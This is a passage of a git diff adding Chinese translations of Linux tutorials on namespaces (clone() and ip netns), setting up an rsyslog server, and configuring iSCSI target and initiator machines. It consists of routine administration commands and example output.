+ +然后使用 **clone()** 函数创建子进程,传入我们的子栈空间地址 "mem",并指定命名空间的标记。同时我们还指定“callee”作为子进程运行的函数。 + + mypid = clone(callee, mem, SIGCHLD | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | CLONE_FILES, NULL); + +**clone** 之后我们要在父进程中等待子进程先退出,否则的话,父进程会继续运行下去,并马上进程结束,留下子进程变成孤儿进程: + + while (waitpid(mypid, &r, 0) < 0 && errno == EINTR) + { + continue; + } + +最后当子进程退出后,我们会回到 shell 界面,并返回子进程的退出码。 + + if (WIFEXITED(r)) + { + return WEXITSTATUS(r); + } + return EXIT_FAILURE; + +上文介绍的 **callee** 函数功能如下: + + static int callee() + { + int ret; + mount("proc", "/proc", "proc", 0, ""); + setgid(u); + setgroups(0, NULL); + setuid(u); + ret = execl("/bin/bash", "/bin/bash", NULL); + return ret; + } + +程序挂载了 **/proc** 文件系统,设置用户 ID 和组 ID,值都为“u”,然后运行 **/bin/bash** 程序,[LXC][1] 是一个操作系统级的虚拟化工具,使用 cgroups 和命名空间来完成资源的分离。现在我们把所有代码放在一起,变量“u”的值设为65534,在 Debian 系统中,这是“nobody”和“nogroup”: + + #define _GNU_SOURCE + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + static int callee(); + const int u = 65534; + int main(int argc, char *argv[]) + { + int r; + pid_t mypid; + void *mem = alloca(sysconf(_SC_PAGESIZE)) + sysconf(_SC_PAGESIZE); + mypid = clone(callee, mem, SIGCHLD | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | CLONE_FILES, NULL); + while (waitpid(mypid, &r, 0) < 0 && errno == EINTR) + { + continue; + } + if (WIFEXITED(r)) + { + return WEXITSTATUS(r); + } + return EXIT_FAILURE; + } + static int callee() + { + int ret; + mount("proc", "/proc", "proc", 0, ""); + setgid(u); + setgroups(0, NULL); + setuid(u); + ret = execl("/bin/bash", "/bin/bash", NULL); + return ret; + } + +执行以下命令来运行上面的代码: + + root@w:~/pen/tmp# gcc -O -o ns.c -Wall -Werror -ansi -c89 ns.c + root@w:~/pen/tmp# ./ns + nobody@w:~/pen/tmp$ id + uid=65534(nobody) gid=65534(nogroup) + nobody@w:~/pen/tmp$ ps auxw + USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND + nobody 1 0.0 0.0 4620 1816 pts/1 S 21:21 0:00 /bin/bash + nobody 5 0.0 0.0 2784 1064 pts/1 R+ 21:21 0:00 ps auxw + nobody@w:~/pen/tmp$ + +注意上面的结果,UID 和 GID 被设置成 nobody 和 nogroup 了,特别是 ps 工具只输出两个进程,它们的 ID 分别是1和5(LCTT注:这就是上文介绍 CLONE_NEWPID 时提到的功能,在线程所在的命名空间内,进程 ID 可以为1,映射到命名空间外是另外一个 PID;而命名空间外的 ID 为1的进程一直是 init)。 + +### 网络命名空间 + +接下来轮到使用 ip netns 来设置网络的命名空间。第一步先确定当前系统没有命名空间: + + root@w:~# ip netns list + Object "netns" is unknown, try "ip help". + +如果报了上述错误,你需要更新你的系统内核,以及 ip 工具程序。这里假设你的内核版高于2.6.24,ip 工具版本也差不多,高于2.6.24(LCTT注:ip 工具由 iproute 安装包提供,此安装包版本与内核版本相近)。更新好后,**ip netns list** 在没有命名空间存在的情况下不会输出任务信息。加个名为“ns1”的命名空间看看: + + root@w:~# ip netns add ns1 + root@w:~# ip netns list + ns1 + +列出网卡: + + root@w:~# ip link list + 1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + 2: eth0: mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT qlen 1000 + link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff + +创建新的虚拟网卡,并加到命名空间。虚拟网卡需要成对创建,互相关联——就像交叉电缆一样: + + root@w:~# ip link add veth0 type veth peer name veth1 + root@w:~# ip link list + 1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + 2: eth0: mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT qlen 1000 + link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff + 3: veth1: mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000 + link/ether d2:e9:52:18:19:ab brd ff:ff:ff:ff:ff:ff + 4: veth0: mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000 + link/ether f2:f7:5e:e2:22:ac brd ff:ff:ff:ff:ff:ff + +这个时候 **ifconfig** -a 命令也能显示新添加的 veth0 和 veth1 两块网卡。 + +很好,现在将这两份块网卡加到命名空间中去。注意一下,下面的 ip **netns exec** 命令用于将后面的命令在命名空间中执行(LCTT注:下面的结果显示了在 ns1 这个网络命名空间中,只存在 lo 和 veth1 两块网卡): + + root@w:~# ip link set veth1 netns ns1 + root@w:~# ip netns exec ns1 ip link list + 1: lo: mtu 65536 qdisc noop state DOWN mode DEFAULT + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + 3: veth1: mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 1000 + link/ether d2:e9:52:18:19:ab brd ff:ff:ff:ff:ff:ff + +这个时候 **ifconfig** -a 命令只能显示 veth0,不能显示 veth1,因为后者现在在 ns1 命名空间中。 + +如果想删除 veth0/veth1,可以执行下面的命令: + + ip netns exec ns1 ip link del veth1 + +我们可以为 veth0 分配 IP 地址: + + ifconfig veth0 192.168.5.5/24 + +在命名空间内为 veth1 分配 IP 地址: + + ip netns exec ns1 ifconfig veth1 192.168.5.10/24 up + +在命名空间内外执行 ip addr **list** 命令: + + root@w:~# ip addr list + 1: lo: mtu 65536 qdisc noqueue state UNKNOWN + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever + 2: eth0: mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000 + link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff + inet 192.168.3.122/24 brd 192.168.3.255 scope global eth0 + inet6 fe80::20c:29ff:fe65:259e/64 scope link + valid_lft forever preferred_lft forever + 6: veth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 + link/ether 86:b2:c7:bd:c9:11 brd ff:ff:ff:ff:ff:ff + inet 192.168.5.5/24 brd 192.168.5.255 scope global veth0 + inet6 fe80::84b2:c7ff:febd:c911/64 scope link + valid_lft forever preferred_lft forever + root@w:~# ip netns exec ns1 ip addr list + 1: lo: mtu 65536 qdisc noop state DOWN + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + 5: veth1: mtu 1500 qdisc pfifo_fast state UP qlen 1000 + link/ether 12:bd:b6:76:a6:eb brd ff:ff:ff:ff:ff:ff + inet 192.168.5.10/24 brd 192.168.5.255 scope global veth1 + inet6 fe80::10bd:b6ff:fe76:a6eb/64 scope link + valid_lft forever preferred_lft forever + +在命名空间内外查看路由表: + + root@w:~# ip route list + default via 192.168.3.1 dev eth0 proto static + 192.168.3.0/24 dev eth0 proto kernel scope link src 192.168.3.122 + 192.168.5.0/24 dev veth0 proto kernel scope link src 192.168.5.5 + root@w:~# ip netns exec ns1 ip route list + 192.168.5.0/24 dev veth1 proto kernel scope link src 192.168.5.10 + +最后,将虚拟网卡连到物理网卡上,我们需要用到桥接。这里做的是将 veth0 桥接到 eth0,而 ns1 命名空间内则使用 DHCP 自动获取 IP 地址: + + root@w:~# brctl addbr br0 + root@w:~# brctl addif br0 eth0 + root@w:~# brctl addif br0 veth0 + root@w:~# ifconfig eth0 0.0.0.0 + root@w:~# ifconfig veth0 0.0.0.0 + root@w:~# dhclient br0 + root@w:~# ip addr list br0 + 7: br0: mtu 1500 qdisc noqueue state UP + link/ether 00:0c:29:65:25:9e brd ff:ff:ff:ff:ff:ff + inet 192.168.3.122/24 brd 192.168.3.255 scope global br0 + inet6 fe80::20c:29ff:fe65:259e/64 scope link + valid_lft forever preferred_lft forever + +为网桥 br0 分配的 IP 地址为192.168.3.122/24。接下来为命名空间分配地址: + + root@w:~# ip netns exec ns1 dhclient veth1 + root@w:~# ip netns exec ns1 ip addr list + 1: lo: mtu 65536 qdisc noop state DOWN + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + 5: veth1: mtu 1500 qdisc pfifo_fast state UP qlen 1000 + link/ether 12:bd:b6:76:a6:eb brd ff:ff:ff:ff:ff:ff + inet 192.168.3.248/24 brd 192.168.3.255 scope global veth1 + inet6 fe80::10bd:b6ff:fe76:a6eb/64 scope link + valid_lft forever preferred_lft forever + +现在, veth1 的 IP 被设置成 192.168.3.248/24 了。 + +-------------------------------------------------------------------------------- + +via: http://www.howtoforge.com/linux-namespaces + +作者:[aziods][a] +译者:[bazz2](https://github.com/bazz2) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.howtoforge.com/forums/private.php?do=newpm&u=138952 +[1]:http://en.wikipedia.org/wiki/LXC + + diff --git a/published/201503/20141205 How to configure a syslog server with rsyslog on Linux.md b/published/201503/20141205 How to configure a syslog server with rsyslog on Linux.md new file mode 100644 index 0000000000..49dd3eb4d4 --- /dev/null +++ b/published/201503/20141205 How to configure a syslog server with rsyslog on Linux.md @@ -0,0 +1,158 @@ +在 Linux 上配置一个 syslog 服务器 +======================================================================== +syslog服务器可以用作一个网络中的日志监控中心,所有能够通过网络来发送日志的设施(包含了Linux或Windows服务器,路由器,交换机以及其他主机)都可以把日志发送给它。 通过设置一个syslog服务器,可以将不同设施/主机发送的日志,过滤和合并到一个独立的位置,这样使得你更容易地查看和获取重要的日志消息。 + +**rsyslog** 作为标准的syslog守护进程,预装在了大多数的Linux发行版中。在客户端/服务器架构的配置下,**rsyslog**同时扮演了两种角色:1.作为一个syslog服务器,**rsyslog**可以收集来自其他设施的日志信息;2.作为一个syslog客户端,**rsyslog**可以将其内部的日志信息传输到远程的syslog服务器。 + +在此,我们演示了在linux上如何通过**rsyslog**来配置一个中心化syslog服务器。 在进入详解之前,先温习一下syslog标准。 + +### syslog标准基础### + +当通过syslog机制来收集日志时,有3个必须要考虑到的重要事情: + +- **设施层级**: 监听何种类型的进程 +- **严重性 (优先) 级别**: 收集何种级别的日志消息 +- **目标**: 发送或记录日志消息到何处 + +现在我们更加深入地了解一下配置是如何定义的。 + +设施层级定义了一种用来对内部系统进程进行分类的方法,linux中的一些常见的设施包括: + +- **auth**: 身份验证相关的消息(登录时) +- **cron**: 进程或应用调度相关的消息 +- **daemon**: 守护进程相关的消息(内部服务器) +- **kernel**: 内核相关的消息 +- **mail**: 内部邮件服务器相关的消息 +- **syslog**: syslog 守护进程本身相关的消息 +- **lpr**: 打印服务相关的消息 +- **local0 - local7**: 用户自定义的消息 (local7 通常被Cisco 和 Windows 服务器 使用) + +严重性(优先)级别有固定的标准缩写和指代的值,其中的数字7具有最高的级别,这些级别包含了: + +- emerg: Emergency(紧急)- 0 +- alert: Alerts (报警)- 1 +- crit: Critical (关键)- 2 +- err: Errors (错误)- 3 +- warn: Warnings (警告)- 4 +- notice: Notification (通知)- 5 +- info: Information (消息)- 6 +- debug: Debugging (调试)- 7 + +最后,目标语句会让一个syslog客户端来执行以下三个任务之一: + +1. 保存日志消息到一个本地文件; +2. 通过TCP/UDP将消息路由到远程的syslog服务器中; +3. 将其发送到一个标准输出中,例如控制台。 + +在 rsyslog里, syslog的配置是基于以下模式进行结构化的。 + + [facility-level].[severity-level] [destination] + +### 在Linux中配置Rsyslog### + +在我们理解syslog之后,现在可以通过rsyslog来将一个Linux服务器配置为一个中心syslog服务器了,另外我们也将看到如何在一个Windows的系统上配置一个syslog客户端来发送内部日志到该syslog服务器中。 + +### 第1步: 初始化系统需求 ### + +要将linux主机设置为一个中央日志服务器, 我们需要创建一个分离的 /var 分区,并分配足够大的磁盘空间或者创建一个特殊的LVM卷组。这样就会使得syslog服务器能够承担在日积月累收集日志所带来的潜在增长。 + +### 第2步: 让rsyslog 后台进程生效 ### + +rsyslog守护进程来自于当前的linux发布版本的预装模块,但是默认并没有启动。为了能够让rsyslog守护进程能够接受外部的消息,需要编辑其配置文件/etc/rsyslog.conf. + +打开文件进行编辑,查找到下面的两行所在的位置,通过删除其行首的#字符来取消注释。 + + $ModLoad imudp + $UDPServerRun 514 + +这会使得rsysolog守护进程能够在UDP端口514上接受日志消息了---UDP是一种比TCP速度快,但是并不具有TCP一样的数据流的可靠性。所以如果你需要使用可靠的传送机制,就可以通过取消以下行的注释。 + + $ModLoad imtcp + $InputTCPServerRun 514 + +需要注意的是,TCP和UDP可以被同时生效来监听TCP/UDP 连接。 + +### 第3步:创建日志接收模板### + +接下来的这步,需要我们来为远程消息创建模板,并告知rsyslog守护进程如何记录从其他客户端机器所接受到的消息。 + +使用文本编辑器来打开 /etc/rsyslog.conf,然后在GLOBAL DIRECTIVE块前追加以下的模板。 + + $template RemoteLogs,"/var/log/%HOSTNAME%/%PROGRAMNAME%.log" * + *.* ?RemoteLogs + & ~ + +在此对该模板进行简单解释,$template RemoteLogs(这里“RemoteLogs” 字符串可以为任何其他的描述性的名称)指令使rsyslog后台进程将日志消息写到/var/log下的单独的本地日志文件中,其中日志文件的名称是基于远程日志发送机器的主机名以及生成该日志的应用程序名进行定义的。其中第二行暗示了我们将RemoteLogs模板应用到所有接收到的日志上。 + +符号"& ~"表示了一个重定向规则,被用来告知rsyslog守护进程停止对日志消息的进一步处理,并且不要在本地写入。如果没有使用该重定向规则,那么所有的远程消息都会在写入上述描述的日志文件之外同时被写入到本地日志文件,这就意味着日志消息实际上被写了两次。使用该规则的另外一个结果就是syslog服务器本身的日志消息只会被以该机器主机名命名的专有文件中。 + +如果你想要的话,也可以使用下面的模式对特定的设备或严重性级别使用新的模板直接来记录日志消息。 + + [facility-level].[severity-level] ?RemoteLogs + +例如: + +将全部优先级别的所有内部用户验证消息指定为RemoteLogs模板: + + authpriv.* ?RemoteLogs + +将所有系统进程中除开mail、用户验证和cron消息之外的进程产生的消息级别的日志指定为RemoteLogs模板: + + *.info,mail.none,authpriv.none,cron.none ?RemoteLogs + +如果我们想要将所有从远程客户端接受到的消息写入到一个以它们的IP地址命名的单个文件中,可以使用以下的模板。在此我们为该模板赋予了“IpTemplate”名称。 + + $template IpTemplate,"/var/log/%FROMHOST-IP%.log" + *.* ?IpTemplate + & ~ + +在我们启用rsyslog守护进程并编辑好配置文件之后,需要重启该守护进程。 + +在 Debian,Ubuntu 或 CentOS/RHEL 6中: + + $ sudo service rsyslog restart + +在 Fedora 或 CentOS/RHEL 7中: + + $ sudo systemctl restart rsyslog + +我们可以通过netstat命令来验证rsyslog守护进程是否正常工作。 + + $ sudo netstat -tulpn | grep rsyslog + +在UDP监听端口下工作的rsyslog守护进程会有类似下面的输出。 + + udp 0 0 0.0.0.0:514 0.0.0.0:* 551/rsyslogd + udp6 0 0 :::514 :::* 551/rsyslogd + +如果rsyslog守护进程被设置在TCP连接端口,那么应该有类似下面所示的输出。 + + tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN 1891/rsyslogd + tcp6 0 0 :::514 :::* LISTEN 1891/rsyslogd + +### 发送Windows日志到一个远程的rsyslog服务器### + +要将一个Windows客户端的日志消息转发到我们的rsyslog服务器,需要一个安装 Windows syslog 代理。当然,有许多的syslog代理可以在windows上运行,在此我们可以使用一个自由软件程序 [Datagram SyslogAgent][1]. + +在下载安装该syslog代理后,需要将其配置为作为服务运行。指定使用何种协议来发送数据,以及远程rsyslog服务器的IP地址和端口,最后指定应该传输的事件日志类型,如下所示。 + +![](https://farm8.staticflickr.com/7509/15305930594_27b7f4440a_o.jpg) + +在我们完成所有的这些配置之后,我们就可以启动该服务并且在中央rsyslog服务器中使用命令行工具tail -f来查看日志文件了。 + +### 总结### + +通过创建一个可以收集本地和远程主机的中央rsyslog服务器,我们可以更好地了解在这些系统内部究竟发生着什么,而且可以更加容易地调试它们的问题,是否在它们之间有任何延迟或崩溃存在。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/configure-syslog-server-linux.html + +作者:[Caezsar M][a] +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/caezsar +[1]:http://www.syslogserver.com/download.html diff --git a/published/201503/20141217 Centralized Secure Storage (iSCSI)-- 'Initiator Client' Setup on RHEL or CentOS or Fedora -Part III.md b/published/201503/20141217 Centralized Secure Storage (iSCSI)-- 'Initiator Client' Setup on RHEL or CentOS or Fedora -Part III.md new file mode 100644 index 0000000000..482733a3a2 --- /dev/null +++ b/published/201503/20141217 Centralized Secure Storage (iSCSI)-- 'Initiator Client' Setup on RHEL or CentOS or Fedora -Part III.md @@ -0,0 +1,198 @@ +设置iSCSI的发起程序(客户端)(三) +============================ + +**iSCSI** 发起程序是一种用于同 iSCSI 目标器认证并访问服务器上共享的LUN的客户端。我们可以在本地挂载的硬盘上部署任何操作系统,只需要安装一个包来与目标器验证。 + +![Client Initiator Setup](http://www.tecmint.com/wp-content/uploads/2014/07/Client-Initiator-Setup.jpg) + +*初始器客户端设置* + +### 功能 ### + +- 可以处理本地挂载磁盘上的任意文件系统 +- 在使用fdisk命令分区后不需要重启系统 + +### 前置阅读 ### + +- [使用iSCSI Target创建集中式安全存储(一)][1] +- [在 iSCSI Target 服务器中使用LVM创建和设置LUN(二)][2] + +#### 我的客户端设置 #### + +- 操作系统 – CentOS 6.5 (Final) +- iSCSI 目标器 IP – 192.168.0.50 +- 使用的端口 : TCP 3260 + +**警告**:永远不要在LUN还挂载在客户端(发起程序)时停止服务。 + +### 客户端设置 ### + +**1.** 在客户端,我们需要安装包‘**iSCSI-initiator-utils**’,用下面的命令搜索包。 + + # yum search iscsi + +**示例输出** + + ============================= N/S Matched: iscsi ================================ + iscsi-initiator-utils.x86_64 : iSCSI daemon and utility programs + iscsi-initiator-utils-devel.x86_64 : Development files for iscsi-initiator-utils + +**2.** 找到了包,就用下面的yum命令安装初始化包。 + + # yum install iscsi-initiator-utils.x86_64 + +**3.** 安装完毕后,我们需要发现**目标器**上的共享。客户端的命令有点难记,因此我们使用man找到需要运行的命令列表。 + + # man iscsiadm + +![man iscsiadm](http://www.tecmint.com/wp-content/uploads/2014/07/man-iscsiadm.jpg) + +*man iscsiadm* + +**4.** 按下**SHIFT+G** 进入man页的底部并且稍微向上滚动找到示例的登录命令。下面的发现命令中,需要用我们的**服务器IP地址**来替换。 + + # iscsiadm --mode discoverydb --type sendtargets --portal 192.168.0.200 --discover + +**5.** 这里我们从下面的命令输出中找到了iSCSI的限定名(iqn)。 + + 192.168.0.200:3260,1 iqn.2014-07.com.tecmint:tgt1 + +![Discover Target](http://www.tecmint.com/wp-content/uploads/2014/07/Discover-Target.jpg) + +*发现服务器* + +**6.** 要登录就用下面的命令来连接一台LUN到我们本地系统中,这会与服务器验证并允许我们登录LUN。 + + # iscsiadm --mode node --targetname iqn.2014-07.com.tecmint:tgt1 --portal 192.168.0.200:3260 --login + +![Login To Target Server](http://www.tecmint.com/wp-content/uploads/2014/07/Login-To-Target-Server.jpg) + +*登录到服务器* + +**注意**:登出使用登录命令并在命令的最后使用logout来替换。 + + # iscsiadm --mode node --targetname iqn.2014-07.com.tecmint:tgt1 --portal 192.168.0.200:3260 --logout + +![Logout from Target Server](http://www.tecmint.com/wp-content/uploads/2014/07/Logout-from-Target-Server.jpg) + +*登出服务器* + +**7.** 登录服务器后,使用下面的命令列出节点的记录行。 + + # iscsiadm --mode node + +![List Node](http://www.tecmint.com/wp-content/uploads/2014/07/List-Node.jpg) + +*列出节点* + +**8.** 显示特定节点的所有数据 + + # iscsiadm --mode node --targetname iqn.2014-07.com.tecmint:tgt1 --portal 192.168.0.200:3260 + +**示例输出** + + # BEGIN RECORD 6.2.0-873.10.el6 + node.name = iqn.2014-07.com.tecmint:tgt1 + node.tpgt = 1 + node.startup = automatic + node.leading_login = No + iface.hwaddress = + iface.ipaddress = + iface.iscsi_ifacename = default + iface.net_ifacename = + iface.transport_name = tcp + iface.initiatorname = + iface.bootproto = + iface.subnet_mask = + iface.gateway = + iface.ipv6_autocfg = + iface.linklocal_autocfg = + .... + +**9.** 接着列出使用的磁盘,fdisk会列出所有的登录认证过的磁盘。 + + # fdisk -l /dev/sda + +![List Disks](http://www.tecmint.com/wp-content/uploads/2014/07/List-Disks.jpg) + +列出磁盘 + +**10.** 运行fdisk命令来创建一个新的分区 + + # fdisk -cu /dev/sda + +![Create New Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Create-New-Partition.jpg) + +*创建新分区* + +**注意**:在使用fdisk创建新分区之后,我们无需重启,就像使用我们本地的文件系统一样就行。因为这个将远程共享存储挂载到本地了。 + +**11.** 格式化新创建的分区 + + # mkfs.ext4 /dev/sda1 + +![Format New Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Format-New-Partition.jpg) + +*格式化新分区* + +**12.** 创建一个目录来挂载新创建的分区 + + # mkdir /mnt/iscsi_share + # mount /dev/sda1 /mnt/iscsi_share/ + # ls -l /mnt/iscsi_share/ + +![Mount New Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Mount-New-Partition.jpg) + +*挂载新分区* + +**13.** 列出挂载点 + + # df -Th + +- **-T** – 输出文件系统类型 +- **-h** – 以易读的方式显示大小 + +![List New Partition](http://www.tecmint.com/wp-content/uploads/2014/07/List-New-Partition.jpg) + +*列出新分区* + +**14.** 如果需要永久挂载,使用fdtab文件 + + # vim /etc/fstab + +**15.**在fstab后追加下面行 + + /dev/sda1 /mnt/iscsi_share/ ext4 defaults,_netdev 0 0 + +**注意:** 在fdtab中使用_netdev,说明这是一个网络设备。 + +![Auto Mount Partition](http://www.tecmint.com/wp-content/uploads/2014/07/Auto-Mount-Partition.jpg) + +*自动挂载分区* + +**16.** 最后检查我们fstab文件是否有错误。 + + # mount -av + +- **-a** – 所有挂载点 +- **-v** – 冗余模式 + +![Verify fstab Entries](http://www.tecmint.com/wp-content/uploads/2014/07/Verify-fstab-Entries.jpg) + +*验证fstab文件* + +我们已经成功完成了我们的客户端配置。现在让我们像本地磁盘一样使用它吧。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/iscsi-initiator-client-setup/ + +作者:[Babin Lonston][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/babinlonston/ +[1]:http://linux.cn/article-4971-1.html +[2]:http://linux.cn/article-4972-1.html diff --git a/published/201503/20141217 Create Centralized Secure Storage using iSCSI Target on RHEL or CentOS or Fedora Part -I.md b/published/201503/20141217 Create Centralized Secure Storage using iSCSI Target on RHEL or CentOS or Fedora Part -I.md new file mode 100644 index 0000000000..34352ed08c --- /dev/null +++ b/published/201503/20141217 Create Centralized Secure Storage using iSCSI Target on RHEL or CentOS or Fedora Part -I.md @@ -0,0 +1,150 @@ +使用iSCSI Target创建集中式安全存储(一) +================================================================================ +**iSCSI** 是一种块级别的协议,用于通过TCP/IP网络共享**原始存储设备**,可以用已经存在的IP和以太网如网卡、交换机、路由器等通过iSCSI协议共享和访问存储。iSCSI target是一种由远程iSCSI服务器(target)提供的远程硬盘。 + +![Install iSCSI Target in Linux](http://www.tecmint.com/wp-content/uploads/2014/07/Install-iSCSI-Target-in-Linux.jpg) + +*在Linux中安装iSCSI Target* + +我们不需要占用很大的资源就可以为客户端提供稳定的连接和性能。iSCSI服务器称为“Target(目标器)”,它提供服务器上的存储共享。iSCSI客户端称为“Initiator(发起程序)”,它访问目标器共享的存储。市场中有卖的用于大型存储服务如SAN的iSCSI适配器。 + +**我们为什么要在大型存储领域中使用iSCSI适配器** + +以太网适配器(NIC)被设计用于在系统、服务器和存储设备如NAS间传输分组数据,它不适合在Internet中传输块级数据。 + +### iSCSI Target的功能 ### + +- 可以在一台机器上运行几个iSCSI 目标器 +- 一台机器可以提供多个iSCSI 目标器用于iSCSI SAN访问 +- 一个目标器就是一块存储,并且可以通过网络被发起程序(客户端)访问 +- 把这些存储汇聚在一起让它们在网络中可以访问的是iSCSI LUN(逻辑单元号) +- iSCSI支持在同一个会话中使用多个连接 +- iSCSI发起程序在网络中发现目标接着用LUN验证并登录,这样就可以本地访问远程存储。 +- 我们可以在本地挂载的LUN上安装任何操作系统,就像我们安装我们本地的操作系统一样。 + +### 为什么需要iSCSI? ### + +在虚拟化中,我们需要存储拥有高度的冗余性、稳定性,iSCSI以低成本的方式提供了这些特性。与使用光纤通道的SAN比起来,我们可以使用已经存在的设备比如NIC、以太网交换机等建造一个低成本的SAN。 + +现在我开始使用iSCSI 目标器安装并配置安全存储。本篇中,我们遵循下面的步骤: + +- 我们需要隔离一个系统来设置iSCSI Target服务器和发起程序(客户端)。 +- 在大型存储环境中可以添加多个硬盘,但是这里我们除了基本的安装盘之外只使用了一个额外的驱动器。 +- 这里我们只使用了2块硬盘,一个用于基本的服务器安装,另外一个用于存储(LUN),这个我们会在这个系列的第二篇描述。 + +#### 主服务器设置 #### + +- 操作系统 – CentOS 6.5 (Final) +- iSCSI 目标器 IP – 192.168.0.200 +- 使用的端口 : TCP 860, 3260 +- 配置文件 : /etc/tgt/targets.conf + +### 安装 iSCSI Target ### + +打开终端并使用yum命令来搜索需要在iscsi 目标器上安装的包名。 + + # yum search iscsi + +#### 输出示例 #### + + ========================== N/S matched: iscsi ======================= + iscsi-initiator-utils.x86_64 : iSCSI daemon and utility programs + iscsi-initiator-utils-devel.x86_64 : Development files for iscsi-initiator-utils + lsscsi.x86_64 : List SCSI devices (or hosts) and associated information + scsi-target-utils.x86_64 : The SCSI target daemon and utility programs + +你会的到上面的那些结果,选择**Target**包来安装。 + + # yum install scsi-target-utils -y + +![Install iSCSI Utils](http://www.tecmint.com/wp-content/uploads/2014/07/Install-iSCSI-in-Linux.jpg) + +*安装iSCSI工具* + +列出安装的包里面的内容来了解默认的配置、服务和man页面的位置。 + + # rpm -ql scsi-target-utils.x86_64 + +![List All iSCSI Files](http://www.tecmint.com/wp-content/uploads/2014/07/List-All-ISCSI-Files.jpg) + +*列出所有的iSCSI包里面的文件* + +让我们启动iSCSI服务,并检查服务运行的状态,iSCSI的服务名是**tgtd**。 + + # /etc/init.d/tgtd start + # /etc/init.d/tgtd status + +![Start iSCSI Service](http://www.tecmint.com/wp-content/uploads/2014/07/Start-iSCSI-Service.jpg) + +*启动iSCSI服务* + +现在我们需要配置开机自动启动。 + + # chkconfig tgtd on + +现在验证tgtd服务的运行级别是否配置正确。 + + # chkconfig --list tgtd + +![Enable iSCSI on Startup](http://www.tecmint.com/wp-content/uploads/2014/07/Enable-iSCSI-on-Startup.jpg) + +*开机启动iSCSI* + +现在使用**tgtadm**来列出在我们的服务器上已经配置了哪些目标器和LUN。 + + # tgtadm --mode target --op show + +**tgtd**已经安装并在运行了,但是上面的命令没有**输出**因为我们还没有在目标器上定义LUN。要查看手册,可以运行‘**man**‘命令。 + + # man tgtadm + +![iSCSI Man Pages](http://www.tecmint.com/wp-content/uploads/2014/07/iSCSI-Man-Pages.jpg) + +*iSCSI Man 页面* + +如果你的target服务器上有iptable的话,那么我们需要为iSCSI添加iptable规则。首先使用netstat命令找出iscsi target的端口号,target总是监听TCP端口3260。 + + # netstat -tulnp | grep tgtd + +![Find iSCSI Port](http://www.tecmint.com/wp-content/uploads/2014/07/Find-iSCSI-Port.jpg) + +*找出iSCSI端口* + +下面加入如下规则让iptable允许广播iSCSI 目标器发现包。 + + # iptables -A INPUT -i eth0 -p tcp --dport 860 -m state --state NEW,ESTABLISHED -j ACCEPT + # iptables -A INPUT -i eth0 -p tcp --dport 3260 -m state --state NEW,ESTABLISHED -j ACCEPT + +![Open iSCSI Ports](http://www.tecmint.com/wp-content/uploads/2014/07/Open-iSCSI-Ports.jpg) + +*打开iSCSI端口* + +![Add iSCSI Ports to Iptables](http://www.tecmint.com/wp-content/uploads/2014/07/Add-iSCSI-Ports-to-Iptables.jpg) + +*添加iSCSI端口到iptable中* + +**注意**: 规则可能根据你的 **默认链策略**而不同。接着保存iptable并重启该服务。 + + # iptables-save + # /etc/init.d/iptables restart + +![Restart iptables](http://www.tecmint.com/wp-content/uploads/2014/07/Restart-iptables.jpg) + +*重启iptable* + +现在我们已经部署了一个目标器来共享LUN给通过TCP/IP认证的发起程序。这也适用于从小到大规模的生产环境。 + +在我的下篇文章中,我会展示如何[在目标器中使用LVM创建LUN][1],并且如何在客户端中共享LUN,不要忘记留下有价值的评论。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/create-centralized-secure-storage-using-iscsi-targetin-linux/ + +作者:[Babin Lonston][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/babinlonston/ +[1]:http://www.tecmint.com/create-luns-using-lvm-in-iscsi-target/ \ No newline at end of file diff --git a/published/201503/20141217 How to Create and Setup LUNs using LVM in 'iSCSI Target Server' on RHEL or CentOS or Fedora -Part II.md b/published/201503/20141217 How to Create and Setup LUNs using LVM in 'iSCSI Target Server' on RHEL or CentOS or Fedora -Part II.md new file mode 100644 index 0000000000..3c8f09a168 --- /dev/null +++ b/published/201503/20141217 How to Create and Setup LUNs using LVM in 'iSCSI Target Server' on RHEL or 